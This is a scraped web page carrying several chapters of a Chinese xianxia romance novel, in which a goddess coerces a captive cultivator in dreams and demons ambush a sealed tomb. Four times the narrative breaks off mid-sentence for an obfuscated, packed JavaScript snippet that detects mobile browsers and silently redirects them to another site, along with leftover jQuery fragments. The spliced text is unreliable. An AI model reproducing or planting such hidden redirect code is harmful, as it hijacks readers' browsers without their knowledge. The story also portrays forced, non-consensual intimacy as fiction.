凝视指尖血珠半晌,他将手浸入水中,任由海水冲刷,带走血液。 不过片刻,他意识到了不对。 那女子未浮上来。 刚一想到她,脖颈被她咬过的地方爆发出强烈热意,像是在提醒他,自己曾两次被她咬住脖颈,命脉所在,极为脆弱之处。 垂下的眼睫颤动不已,浸没在水中的手微动,他忽然将身子沉入水中,水面只余下他漂浮的发丝。 冰凉海水扑打身体,给他一种她存在水中各处的错觉。海水的凉几乎与缠住他的手臂的东西,与她手上的温度一模一样。 与其说她处处皆在,不如说这片海水是她的化身,将他包围,阻断他所有退路。 成镜身子再度往下沉,水面几乎瞧不见他的发丝。 水下阴影闪过,有什么粗壮巨物缠住他的腰间,往上一抛。 跃出水面的一瞬间,成镜睁开眼,看到那一闪而过的巨大阴影。 调整身形下落,水面凝结,他站在水面,浑身湿透。 水珠顺着优越的脸部线条滑落,滴在湿透的薄衫上。 这一次,他没有主动施法烘干衣衫。 他身上的水分瞬间蒸发。 “滴答——” 什么东西接触凝结水面的声音响起。 成镜并未回头,反而闭上了眼,凝神静气,圆月悬在他身后,皎洁的月光将人衬得仙气满身。 “滴答……” 水珠滴落,在水面留下道道痕迹。 北溯没有烘干自己,湿着身走过去,那水珠滴落发出的声音犹如某种讯号,告知成镜,她来了。 女子湿着身走到他面前,意料之外发现他一直闭着眼,浅浅笑了。 这人怎么跟个和尚一般,没有一点人味。 北溯目光落到他脖颈上,眼瞳翠绿,看到他脖颈处灵脉里熟悉的光亮,属于她与鳞舞的力量在他身体里存活得很好,即使一开始排斥,很快被他容纳。 不愧是金莲,包容世间一切。 这样的话,那她今晚,是不是可以稍微多灌输一些,早些灌进去,早些叫他孕育。 北溯指尖勾了一下自己的湿发,忽然问:“你不好奇,你看到的那些,是真是假?” 她的声音带着玩味,显然不是真想问他。 成镜睁开眼,在看到面前女子湿身时,当即闭眼偏开头,甚至后退一步。 喉头滚动数下,才说出一句话来:“阁下请自重。” 北溯瞧了眼自己,没觉得有哪不妥。 这里是她的梦境,由她做主。 “算了,还是直接动手吧,鳞舞还等着。” 北溯欺身而上,拉住他的衣领,岂料那衣衫脆弱得薄纸一般,一扯便裂开。 她动作一顿,旋即手中撕裂的衣衫被抽走,男人按住胸口衣衫,控诉的眼神投过来,声音冰冷:“阁下身为神,为何屡次侮辱于我?” 北溯没有错过他脸上闪过的薄红,配上散开的发,还有胸口欲盖弥彰的碎衫,哪哪瞧着,都不似正经的道君。 他将仅剩的灵力用于修复衣衫,还弄了绸缎裹住脖颈,恰好遮住被她咬过的位置。 北溯静静看他做完这一切,才开口:“你想知道为什么?” 成镜蓦然顿住。 “想知道为什么我会选中你?” “想知道为何我要你孕育我的子嗣?” 北溯笑:“怪便怪在,你是人族修士中最强的。” “更因为你的真身。” 成镜抬眸看她, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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还以为这朵莲花有多纯情,连亲吻都知道。 她笑了笑,眼底只有对他的觊觎。 “这可不是吻。” 北溯再次上前,不等他再动用灵源,直接定住他的身体。灵源可不能受损,弄坏了,上哪再去找这么完美的身体。 她将人放倒,迈开腿俯下身,在他的注视下,再度覆上他的唇。 轻松地撬开他的牙关,侵入其中。 有什么东西灌进来,胸腔里似乎点燃了一把火,烧灼心肺。 成镜无法动弹,只能被迫承受。 清晰而深刻地感受到她的触碰,她的入侵。 唇上的柔软与胸口的灼痛并行,极度的反差,这一刻,他动了杀心。 可那罪魁祸首不仅将他的唇咬破,还在吸食他唇上的血,将他的唇含着吮吸,令他无助而又羞耻得闭上了眼。 时间好似停止,周遭寂静,只能听到偶尔发出的啧声。 待北溯尽兴了将人松开时,只瞧见男人闭上的眼睫不安地颤动,眼尾殷红,隐约有什么湿润的晶莹之物滑落。 她看了好一会,瞧着他这副模样,心底生出难以遏制的凌虐欲。 “怎么哭了。” 她却没抬手为他抹去这滴泪。 她笑着,说出残忍的话:“这才到哪。” 18. 第 18 章 不属于自身的力量被强行灌入体内,确实会产生不适,她用自己的灵源之力尽可能地在不破坏他身体的情况下,收敛鳞舞力量的躁动,再灌入他身体里。 现在他看起来,应该不是很难受? 北溯稍微往后撤,俯视着他。 男人发丝倾散一地,眉宇凝着冷霜,眼帘阖着,长睫浓密。 浅色薄唇因啃咬而充上血色,瞧着比平常见到时好看了许多,尤为吸引目光。 北溯满意地弯了眼眸,瞥见他身上湿了的衣裳,发觉那是自己身上水滴落到他身上沾湿的。 再一看他眼角,那滴水珠滑落的初始位置与他眼尾有些距离,所以他方才并未哭。 忽然觉得遗憾,遇到这种事都如此平静的人,要在遇到什么情况,才会哭呢。 若是他真正哭出来,又会是什么样子? 藏在心底最隐秘的恶念一点点被眼前的男人勾出来,北溯从未发现,自己居然还有这一面。 想要看到这个几乎代表人族最高修为的男人,在她手中哭出来。 这朵莲花,若是只用来做修复鳞舞的容器,该多可惜啊…… 就该被她玷污,沾上她的气息。 她直勾勾地盯着成镜,丝毫不掩饰自己的恶意。 北溯看着他起身,用法术生出水,并未避开她这个让他失态的女子,清洗唇面。 被水浸过的唇更加水润,北溯眸光暗下,干脆坐在水面,勾唇问:“道君身子可有不适?” 她观察着成镜面部表情,不错过一丝变化,这句话问出口,未得到他的回答。 成镜以无声来表达自己的抗拒。 他的身子很不适,不知道被她灌输了什么东西到体内,从嗓子到胸腔,一直在烧灼。 脖颈处倒是与平常无异。 但无法将体内的不属于自己的力量驱逐出去。 他并未看地上那名仰头看自己的女子,抬眸望向那轮圆月,计算着时间。 还有不到两日,月圆之夜一过去,他的力量便会逐渐恢复,很快,一切便会结束。 女子的声音又起。 “道君怎么不回答?” 北溯见他慢条斯理地理好衣衫,脖颈上绸带重新系好,怎么瞧,都觉得他气势弱了些。北溯仔细瞧了瞧,觉得与那日他击退凤鸣相比,他浑身冷气稍微柔和了些? “我该如何回答?”成镜觉得自己喉咙在烧,忍耐着不露出异色,尽管猜测她是要用自己的身体复活月神,但这绝不可能做到。 是以不会给出任何反应,让她在自己身上获取信息。 却不知道北溯根本不是为了复活月神。 “唔……”北溯仔细想了想,认真道:“你会觉得痛吗?”她的目光落到他腹部,颇为好奇:“肚子会痛吗?” 成镜指尖微动,眼帘低垂,半晌才说:“阁下以为,我能孕育出生命?” 北溯嗯了一声,舒展双腿,双手撑着凝结的水面,身子微微后仰,极为放松的姿势。 “你不是金莲吗?普通的莲花都能生出数颗莲子,你不能?” 不能的话,她就没法留下他这条命,只能将他彻底炼化成容器,变成炼制器具的锻造炉了。 好可惜,这是世上唯一一朵金莲哎。 “你真不能?” 连续两句问,成镜只抿着唇,力道过大,被咬破的位置抽痛,那分明是极其细微的痛,却如同钉在身上,烙下永远不可忽视的印记。 他没有回答。 只召出伴生莲台,盘腿而坐,阖上眼帘,静默打坐。 这副模样真是像极了世人口中的仙人,超凡脱俗,无欲无求。 北溯不喜欢。 方才分明已经将他愤怒破碎的一面逼出来,不过一会他又恢复成原样。 和那群道貌岸然的仙一样,叫人忍不住撕破他们这层皮,让他们惊恐,失态。 她站起身,站在成镜面前又瞧了许久,才转身,缓缓迈步离开。 莲台之上的人睁开眼,白衣女子走得很慢很慢,似乎在等待什么,刻意走得如此之慢。 直到离开梦境,北溯都没等到他偷袭自己。 还真是个正人君子。 寝殿内盈满月光,扫过一眼窗外,月亮几乎看不出来缺了些。 小蛇趴在床头,紧闭着眼,尾巴没了大半截,看着还没死。 北溯轻轻摸了摸它脑袋,没再呼唤它。 再有几次,她们之间的契约便会失效,待它彻底被灌入成镜体内,大概有三个月会见不到它。 顺利的话,一月便可。 北溯躺下,回想白日里天綪说的话,推断成镜渡劫的日子就在这几月,若是在成镜渡劫时还没能修复好鳞舞,待他成功飞升,她怕是对付不了他。 得想个法子,推迟他渡劫时间。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15860757|176011||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 步入入神境,须得领悟修道真谛后才可引来雷劫。领悟时间与修士悟性有关,成镜那样的,领悟起来应该会很快。 北溯偏头,轻拍了一下昏睡的小蛇,吓它:“要是成镜飞升了,我可就不管你了。” 小蛇听不见,它要是听见了,立刻就哭给北溯看,叽哩哇啦说上一整天,直到北溯保证不会不管它为止。 北溯以为昆仑的人不会那么快来道宗,至于去搜查她的封印,至少也得等昆仑的人来,道宗才会动手。 但她低估了天綪的谨慎。 说她谨慎,不如说她心思重,容不得一点异样。 日刚升,她便亲自来了重莲殿,在凉亭内传音。 “请道君前往黑水查看邪神封印是否松动,三位长老会全程听您吩咐。” 北溯揉了揉眉心,不耐地直起身,朝外头看了眼,算了算时辰,心道这朵莲花平日起这么早干什么,天綪能这么早来找他,他必然早在这个点前起了。 正要变成成镜的模样去凑凑热闹,天綪接下来的话当即令她变了主意。 “为防止魔族已经动手,道君您可将昆仑镜带去,用以震慑邪神。” 神只可被神器或含有神性的器具伤到。 北溯转身,走回床边捞起小蛇,去了囚牢。 凉亭内,天綪等了许久,不见里头有回应。 往常此时他已经开始修炼,且每次她来都是有要事,不会让她等太久。 天綪抬手,黑色雾气生出,打在水雾上,下一瞬那黑雾被击散,水雾散开,水栈显现,缓缓走来一人。 发丝束于脑后,青衫裹身,脚下步步生莲。 天綪只看了一眼,收了灵力,抬手一拜,道:“事关三界安危,我不得不来求道君。” “我已知晓。” 男人走入凉亭,离天綪不过三步距离。 他缓缓转头,看着天綪,三字吐出,再未发一言。 天綪也未再言,眼前的人与平常无异,昨日在他身上感知到的异样似乎是她的错觉。 “既然道君已经知晓,便与我一同去取昆仑镜?”天綪转身,抬脚走出凉亭,“三位长老与弟子们只等您取了昆仑镜,便出发去黑水。” 男人并未立即跟上,眸光瞥向自己脖颈处,那里缠着一条通体漆黑的蛇,身上鳞片如黑宝石般折射着光。 翠绿的竖瞳盯着他,冷意森然。 19. 第 19 章 为了修复鳞舞,灵源近乎损耗一半,加上实力还未恢复,若道宗内昆仑镜真为昆仑那面,还真能重创现在的她。 不过以她对昆仑的了解,他们不可能大方到将神器给出来。 是真是假,看看便知。 竖瞳瞧了眼黑衣女子消失前的背影,再次相信自己隐息术并未出错,那么上次,成镜是如何发现她的? 现在她的隐息术,似乎对他没有效果,他能看见她。 黑蛇仰起脑袋,身子缓缓攀到成镜脸侧,并未靠近,传音于他:“不是要请昆仑镜对付邪神,道君怎么不动了?” 漆黑冰凉的鳞片贴着脖颈,稍稍一动,那股冰凉在后颈滑蹭,既危险,又有种诡异的美感。 成镜忽略化身成蛇的她,抬步一动,身形瞬移,来到八重山长生殿。 长生殿内所放物品除各类法器外,还有道宗所有人员的命牌。长生殿几乎占据八重山整个山头,内里空间偌大,一进去,分门别类摆放着各式各样的法器,一眼望不尽。 北溯并未看到昆仑镜,打量着周围。 三百年前道宗还是个名不见经传的小宗,现如今已经发展到成了修真界的顶梁柱,连储存的法器都占了一山头。 不过未见到昆仑镜。 北溯打量的视线一转,往上瞧。 头顶密密麻麻都是挂着的命牌,密集得数不清,亮着的命牌表明命牌主人未死。 太多了,连上头的姓名都被遮掩得看不清,也不知那些已经死去弟子的命牌会不会一直挂着。 尾巴尖勾了勾成镜发丝,成镜蹙眉,没理她。 见人不搭理自己,北溯换了个地,贴在他后颈的身子下滑,沉入他衣领里,成功引起他有所反应。 成镜走到物架尽头的通道前,在天綪身后顿住了脚,肩膀挺直,身子稍稍后仰,令衣衫松些,没那么紧绷,便不会觉得那条蛇存在感强。 负责掌管长生殿的执事正在开启通道阵法,天綪见他来,多看了他一眼,此时阵法已开,她便未说话。 “本座与道君进去便可,你在外守着。” 执事俯首说是。 天綪先一步走进去。 成镜跨过法阵前,脚步微顿。 黑蛇盯着法阵的竖瞳漫出几分警觉,若是这个时候成镜暴露她,天綪极有可能立刻拿了昆仑镜对付她。 “道君不要忘了,我放你出来前,对你说了什么。” 成镜当然没忘,她以将他的弱点暴露给三界来威胁他,现在也只不过是借他来接触昆仑镜,从而摧毁。 月圆之夜会散失全部力量确实是他的弱点,但他并不在意。 可若是被妖族魔族知晓,他们便会在这个时候入侵人界,届时他便无法护佑人界,这才是他担心的。 成镜并未回答,迈进去,不知是何原因,法阵竟然未检测到她的存在。 眼帘垂下,他并无太大反应地步入通道。 北溯动了动沉入他衣领的身子,刚从他衣领里出来,便听他从重莲殿出来后对自己说的第一句话,短短三个字。 “勿乱动。” 竖瞳望了一眼他,侧脸下颚线紧绷,薄唇紧抿,似乎在忍着什么。 北溯哦了一声,看在他配合自己的面上,暂时不动。 成镜这才继续往里走,微微动了动脖颈,即使黑蛇不动,存在感依旧强烈,克制着将这条蛇抓住捆起来的念头,微不可查地深吸一口气,嗅到一丝莲香,鼻息微顿,终是选择了屏息,一路走出去。 通道尽头,是间四面封闭的密室,最中央阵法保护的,便是道宗唯一一件神器,由天綪亲自前往昆仑求来的。 说来奇怪,这法器只有成镜能催动,即便是差一步便到入神境的天綪,也无法使用。 “道君,请。”天綪先是撤了她布下的阵法,才后退站到一旁。 北溯与成镜的目光同时射向昆仑镜。 约两尺高,一尺框,呈菱形,镜面雾蒙蒙的,并未能照出人影,镜框由翠玉打造,雕刻山水,宛如一位端庄女子静立着,远远看着,便能感受到它散发的神性气息,令人心旷神怡—— 令北溯躁动。 对昆仑的恨深入骨髓,见到所有有关昆仑的人,事物,她都想摧毁。 但现在还不是机会,一旦他们发现黑水封印被破,必然要寻她,而成镜已经知道她的身份,月圆之夜一过,他恢复实力,再加上昆仑的人,她很难全身而退。 所以她必须先伪造封印仍完好的假象,再将成镜绑走,修复好鳞舞,才是最优法。 一朵莲花缓缓飘向昆仑镜,没入镜面,蒙着的雾逐渐退散,映照出昆仑镜前的身影。 看清镜中只有成镜一人时,北溯再度确信自己的隐息术没有出错。看来那晚成镜会发现她,是有别的原因。 成镜似乎料到昆仑镜内照不出她,抬手将其收于芥子符中,转身直接离开。 天綪紧随其后,离开长生殿时,弟子传来消息,三位长老与七名内门弟子已经在一重山传送阵等候,只待道君过去,便出发前往黑水。 天綪在成镜走前,道:“此去若是发现邪神封印松动,万不可直接动手。” 成镜颔首,转身离开。 待周遭并无人影时,成镜显现身形,垂眸看着脖颈间的黑蛇,冷声道:“你还要在我身上待多久?” 北溯抬头与他对视上,还没说什么呢,他先偏了头,不看她。 她变幻的蛇身要比鳞舞小了一圈,也就两根手指粗细,除了在他脖颈上待着,难道要她缠在他手腕上? 当然知道成镜想的是要她离他远远的,事情还未结束,她不可能放过他。 想了想,再次缩小身形,变得食指粗细,小了许多,跟着鳞舞那样盘在他肩膀上,敷衍一句:“现在行了?” 成镜依然能感觉到她的存在,相比之前贴着后颈肌肤,已经好了许多。 未再言,直接去了一重山传送阵。 众人见他来,立刻行礼,星峦主动介绍:“道君,这七位内门弟子皆是聚灵境巅峰,此去黑水,他们负责勘察魔族,我等与您共同探查邪神封印。” 弟子们看成镜的眼神炽热崇拜,你推我我推你,没一个敢上前与他说话的。 黑蛇竖瞳扫过他们,百般无聊地趴了回去。 都是小鸡仔,没什么好忌惮的。 星峦还在说供奉传来的信息,北溯却在感叹,难怪鳞舞喜欢趴在她肩膀上,这么趴着不用走路,确实舒服。 不过这个位置离他太近,声音听着炸耳朵。 “即刻出发。” 北溯听到这四个字,眯起眼直起半 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15860758|176011||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身看他,有些猜不透他心思,以他的性子,会乖乖任由她威胁,不告诉道宗她就在这? 或是他不信梦境中看到的,不信她就是被封印的邪神? 他应是不知道当年发生的事,否则问她是否是邪神时,便不会那么平静。 唔,或许他等着在黑水再解决她? 思索间,众人已经步入传送阵,星峦将灵力注入拐杖,对准阵眼,阵法开启,道宗距离黑水距离遥远,传送阵所需灵力更多,且不如短距离稳定。 成镜的身子一动,北溯从他肩头滑下来,坠到他腰侧位置,刚要调整自己,被一只手抓住。 传送阵扭曲空间,没法在传送过程中说话,且传送过程中无法使用法术,北溯等到传送结束,能听见海水拍岸声时,从他手里挣出来,不再趴在他肩头。 成镜捞住黑蛇的手缓缓捏紧,隐没到袖中,目光未曾去寻那条蛇的身影,直视前方一望无际的海,周遭三面环山,岩石裸露,并无其他生物存活的痕迹。 海中央一座孤岛耸立,瞧不见里头有什么。 他们此刻便立于一座山尖之上,星峦拐杖一插,一道射线自顶端蔓延,伸向岛屿,片刻后射线隐没,醒星峦收了拐杖,转而向成镜禀告:“供奉已在岛上等候,他们在里面发现魔族来过的痕迹。” 成镜只道:“带路。” 这次北溯肯定成镜并不知她这位人界人人愤恨的邪神被封印于此。 看来他确实是在自己被封印后才修出人形。 竖瞳转向他的方向,跟着他一起进入岛屿。三名弟子被留在岸边警惕魔族来,两名被吩咐去搜寻岛屿上魔族痕迹,剩下两名守在洞口外。 进去的只有成镜与三名长老。 再度看到自己曾经走过的路,北溯忽然生出怀念,当年那一战斗得酣畅淋漓,若非老不死的耍赖用神器镇压她,自身邪气被压制,也不会被他们得手,封印在此处。 甬道里光线渐渐变暗,三名长老走在前头,脚步越来越快。 离封印的地方越近,北溯越有种想要再战一次的冲动,此刻她若是动手,带走成镜再将这几人杀了,没有人会知道他们是怎么死的。 但问题在于,成镜会不会用昆仑镜对付她。 接近她躺了百年的棺材,她离开时特意弄的阵法还在,两个老头愁眉苦脸,见到他们来,立刻敞开笑脸。 “你们终于来了!这阵法看着没有问题,但不确定是否有所松动,道君呢?” 稍显快速的声音响起:“你等先查看,我稍后便来。” 几人还没说一句话,便见那道身影离开。 你看看我我看看你,听了这句话,一齐去看封印。 通道里一阵气流飞速涌过,男人被按到岩壁上,身前比他低了些的女子一手按住他锁骨位置,抵着他,力道没有收,磕到锁骨。 成镜不适地蹙眉,这样的姿势太过危险。 他抬手要挣脱时,女子忽然俯身靠近,极淡的莲香混杂着某种馨香闯进鼻腔,很清新的味道,极容易迷惑人。 他再次屏吸,阻止这味道再入鼻中,耳畔响起她的声音:“道君怎么不说邪神就在他们面前?” 北溯掌心用力,按得更重,直视他的双眸,再次问:“你答应我的条件,不就是为了取昆仑镜除掉我?怎么不动手?” 20. 第 20 章 “你是在想,确定封印里是空的,再来解决我?” 北溯直视成镜的双眼,捕捉他的情绪波动,里头却什么都没有,她问的这几句,没有引起他一丝变化。 甚至都没有回答她的问题。 一脸风轻云淡毫不在意,看得她心痒,真想现在咬上他的唇,让他失态。 这朵莲花真会装。 北溯松了手,转身往里走,就这么将后背暴露给成镜,丝毫不惧他会动手。 身后并无脚步声,想起这人不用脚走路,当然没有脚步声。 北溯重新用了隐息术,进入洞穴。 女子的身影忽然消失,成镜知她是用了隐息术,但与之前她变幻为蛇贴近自己身体时不同,这次,他看不见她。探究地望着她消失的位置,想过为何自己先前为何会看见她的各种可能,但目前都无法证实。 收回目光,方要走动时,眼角余光瞥见衣领褶皱,抬手理好,指尖蹭到脖颈,一股凉意荡开,手指一顿,若无其事地理好衣领,往里走去。 不见天日的洞窟内阵法遍布,稍一靠近便能感知到其中蕴含的杀气。 阵法囚禁的中央立着一口血木棺,那是昆仑十三位仙尊以自身血浇灌打造,用正道之士的血压制邪神邪气,以此削弱邪神修为,才得以成功封印。 北溯在里头闻了几百年的腥臭味,再次看到这口棺,真想现在就将这群人关进去,让他们也尝尝被封印的滋味。 “道君?您处理完事了?”星峦见成镜走近,立刻汇报:“我等与两位供奉已经查过,外头的禁制有被魔族尝试打开过的痕迹,里头封印应该没有被破坏,想来魔族收集的修士灵源不足以破坏封印。” 墨九歌从禁阵里出来,陆长老与另外两名供奉在加固禁阵。 他朝成镜行礼过后,才说:“自从这邪神被封印,每百年昆仑仙人都会来探查,这三百年来都未曾出过问题,也未见魔族来,怎么最近突然打起了邪神的主意?” 成镜眸光闪烁,猜到到一个可能,但很快否定。 目光掠过加固禁阵的几人,在那两名供奉身上停留的时间稍长,他启唇道:“将禁阵打开。” 星峦诧异,试探道:“道君是要亲自去检查封印?” 成镜点头,星峦与墨九歌对视一眼,墨九歌耸耸肩,冲那边忙活的人说:“道君有令,开启禁阵。” 三人虽是不解他为何要开,依旧照做。 北溯没动,瞧了眼禁阵里的三人,此刻她若是动手,耗费些力气便可将他们杀了。不过还不知成镜葫芦里卖的是什么药,暂且先看看。 她得提防着成镜用昆仑镜,这玩意能灼烧她的身体,不得不防。不过以成镜现在被削弱过后的实力,能驱使得了? 北溯瞥了一眼青衫男人,没在他身上发现储存昆仑镜的东西,应是置于芥子符里,除非他死,她打不开他的芥子符。 禁阵解开,里头只剩下八面包围棺材的封印。 当初北溯挣开封印还花费了不少时间,且走时也只是造了个假象,看着像是封印还在,这群人族修士看不出来,昆仑的人一来便知。 这么看来,她处境还挺危险?只要成镜拿昆仑镜一照,假象便会消散,他们便会知邪神已经挣脱封印。 北溯眸光转向成镜,等着他下一步举动。 长老们与供奉也在看他,陆长老问:“道君可是带来了昆仑镜?当初宗主前去昆仑求得此神器,便是为了预防封印有损,昆仑仙人赶来不及,道宗可先动手查探封印情况。” 听她这么说,有供奉立即附和:“道君若是要查封印,用昆仑镜一试便知。” 另一名供奉看了眼成镜,往后稍稍退了些,道:“昆仑镜威力如此之大,怕是会松动封印?” 三位长老齐齐朝他看去,那人佝偻着身子,不说话没什么存在感。 星峦解释道:“此封印与昆仑镜皆为昆仑所出,不会有你说的情况发生。” 那供奉低了头,不再说。 北溯盯着那供奉看了好一会,发现人皮底下披着的是什么东西,笑了。她也想知道,魔族收集修士灵源开启封印,是想对她做什么。记忆中她与魔族并无往来,且被昆仑追杀时,魔族可是在魔界缩着,压根没有帮她的意思。 现在倒是跑来解封印。 青色身影自眼前走过,北溯收了思绪,目光转向他,他走了进去,在封印禁阵外停下,手腕抬起。 这一刻,洞穴内所有人的注意力都在他身上,只等他拿出昆仑镜。 成镜刚用灵力打开芥子符,胸口一阵灼痛,微微蹙眉,压下不适,拿出昆仑镜。 翠绿镜身一出,洞穴内立即杀气澎湃,禁阵突起,单独将成镜禁锢在内,与此同时其余三位长老全被禁阵囚禁,恐怖的威能爆开,刹那间洞窟内天摇地动,碎石塌裂。 北溯周身一层防御罩阻拦威能,没被伤到。 烟雾散去后,只见那两名供奉站在封印阵法前,离得极近,而本应在成镜手中的昆仑镜,落入那名身子佝偻的供奉手中。 星峦不断尝试解禁制,墨九歌倾斜着身子,只盯着那两人看。 陆长老解除禁制无果,怒向两名供奉,质问:“你们这是何意?” 北溯无声替她回答:“当然是来杀你们的。” 那两名供奉哼笑,佝偻的身子挺直,异常高大。 尖锐女声响彻洞窟:“你们这群修士脑子真是蠢,放个假消息都能上当。” 那两人周身黑雾缭绕,再一转,显现出一男一女,相貌出众,皆是衣衫暴露,男的衣摆差点开到大腿的根部。两人双臂佩戴金色臂环,脚踝缀着脚环,肤色麦黄,身材极好。 北溯的目光在他们显露真容后未再移开过,眼前身着暴露的男人,给她一种仿佛自己从未认识过他的错觉。 小蛇若是醒着,必然能认出那人是谁。 女子朝前走了一步,傲人身姿挺翘,星峦与陆长老当即别开眼,听见嘲笑声后,老脸憋红,训斥道:“尔等魔族也敢在道君面前放肆!” 这句话将北溯拉回神,从男人身上移开目光,走向被困住的成镜,他还站着,也不看那两只魔,只盯着血棺。 北溯传音给他:“这两只魔其中一只已经达到魔尊的实力,那几个长老不是他们的对手。且你现在落到他们手中,也跑不了。届时他们一动手,便知你现在修为大损,以魔族对人族的恨,会立即杀了你。” 即使不杀,也会囚禁他,以此来要挟道宗。 她面上带着一丝笑,很单纯的笑意,站在他面前,瞥了眼他额间的莲花印记,在那只魔走过来时,开口:“求我。” 成镜看不见她,视线里依旧是那口血棺材,闪烁的封印隐约可感知到设下封印之人强大的气息。 她的声音再起,伴随着女子从身体里拔出两把弯刀冲他而来。 “只要你求我,我就会保护你。” 成镜不言。 北溯没有得到成镜回答,她也不觉得遗憾,让出道,任由那只魔来攻击他,靠边看向还拿着昆仑镜不动的男人,认真地打量他,眸中满是怀念。 这么久了,他没死,还成了魔,真是好啊…… 这样,她要复仇的对象,又多了一个呢。 女子挥出的刀裹挟着滔天魔气,未曾收敛,一刀斩出,洞窟快要塌陷。好不容易解开禁阵的三人一看,连忙联手挡下这一击,快速张开结界连着成镜护在内,星峦迅速一拐杖甩出去,被女子避开。 男人不悦,出声警告:“别弄塌了洞窟。” 女子应了声好,动作却未收敛,眼里全都是对能击杀成镜的兴奋:“人界大名鼎鼎的道君,今日一见,确实不同一般修士。”女子动手,双刀飞旋,与此同时一直在后头的男人动手,骇人的威压压迫下来,结界出现裂痕。 猩红之眼盯着里头的人,女子舌尖舔过殷红的唇,嫌弃道:“那两个老家伙太老了,真难吃,不如让我来试试你的味道!” 北溯不爽,能轮得到你吃? 只瞥了一眼女子,见她还没能力伤到成镜,便未动手。 困住成镜的禁阵已经被解开,三位长老见状先撑住结界,陆长老费劲道:“我等拖住此女魔头,道君您定要将那昆仑镜夺回来!” 成镜却道了两字:“不必。” 三人诧异,焦急要劝,结界已经碎裂,女子的双刀砍断星峦拐杖,瞬间逼近,刀身一转,套住他后颈就要收割他的头颅。 浑身忽然一轻,一颗极为细小的莲子被弹射而出,女子当即扔了手中弯刀,飞身后退数步。 星峦顾不得心疼自己的拐杖,匆匆后退。 那颗莲子被击入岩石中,一丝声响都未发出,被射中的位置,隐隐能窥见光亮,竟是洞穿了洞窟。 女子回头看了眼,心有余悸地拍拍胸口,“差点被你射穿了。” 北溯也没想到,这招他居然没在自己身上用过,他还有多少底牌没亮出来? “你们三人,对付她。”成镜未曾看那女子一眼,从血棺那移开视线后,转而看向男人。女子再次攻击,三人齐上阵,将其引到一旁。 好在洞窟极大,空间充足。 男人见成镜单独来对付自己,哼笑:“道君这么不小心,连昆仑镜都拿不住,那只好我代替你来保管了。 成镜摇头,凝视他手中镜子片刻,忽而道:“你无法驱使它。” 话音刚落,那昆仑镜当着男人的面直接回了成镜手中。 北溯想笑,成镜耍人确实有一套,难怪他不怕她动手,合着这玩意认主,谁夺走都没法使用。 况且这东西一直藏在道宗,魔族又怎么可能知道昆仑镜只可由 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15866019|176011||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 成镜驱动。 男人神色未变,淡然笑着,忽略他这一身衣裳,只看他这张带笑的脸,着实会让人误以为他是个温润书生,很容易轻易信任他。 北溯真想扒了他脸上的皮,当初就是因为他这人畜无害的模样,差点在他那翻了船。 她再次传音给成镜:“以你现在的力量,即使能催动昆仑镜,也杀不了他,方才我对你说的话还奏效。” 成镜抿唇,无视这句话,他不会求她。 身后动静增大,女子越战越勇,疯狂进攻。 这是魔族骗局,引他们来此眼前这人便是魔族两位魔尊之一,由妖堕落成魔,曾经的妖王——雾漓,实力只会比妖王凤鸣高。 成镜当即动手,灵源注入到昆仑镜中,镜面掀起波澜,源源不断的能量注入他身体内。莲花虚影自他身后浮现,右手中一朵莲花绽开。 墨发染白,睫羽凝霜,眉心的莲花印记似乎绽放了些。 这是北溯第二次见到他动用灵源,也是第一次见到他这样的状态,雪一般的容颜,纯净到不含任何杂质,圣洁得宛如天上仙,令人自惭形秽。 北溯仔仔细细看着,越看越喜欢,这朵莲花还会变装呢。 边上的女子见成镜在用昆仑镜,当即一刀甩向洞窟顶,巨石坠落拦住三人,她冲回来攻击成镜。 “尊主,小心成镜!” 北溯抬手,一掌击退她,但未伤她。正欣赏着莲花新姿态,不要搅了她的兴致。 女子戒备四周,寻找这不知何处而来的掌风,不等她细查,巨石被击碎,星峦等人再次缠斗上来。墨九歌躲开她的弯刀,兴致勃勃盯着女子,旁边的星峦一见他盯着看,提醒他:“干正事,你那点花花肠子先收了。” 墨九歌正色,冲上去缠住女子。 成镜凝出莲花只在顷刻间,方将巴掌大小的莲花弹出,雾漓正面迎上,“道君这么有把握能杀了我?” 成镜纹丝不动,继续往昆仑镜内注入灵源,用自损的方式来获取短暂的力量,会受到严重反噬。 数道莲花飞射而出,皆被雾漓融了,他的魔气腐蚀性极强,成镜靠灵源换取的力量根本不足以与他抗衡。 “为什么就是不肯求我呢。” 北溯不解,看到成镜脸色越来越苍白,他的发逐渐没了光泽。 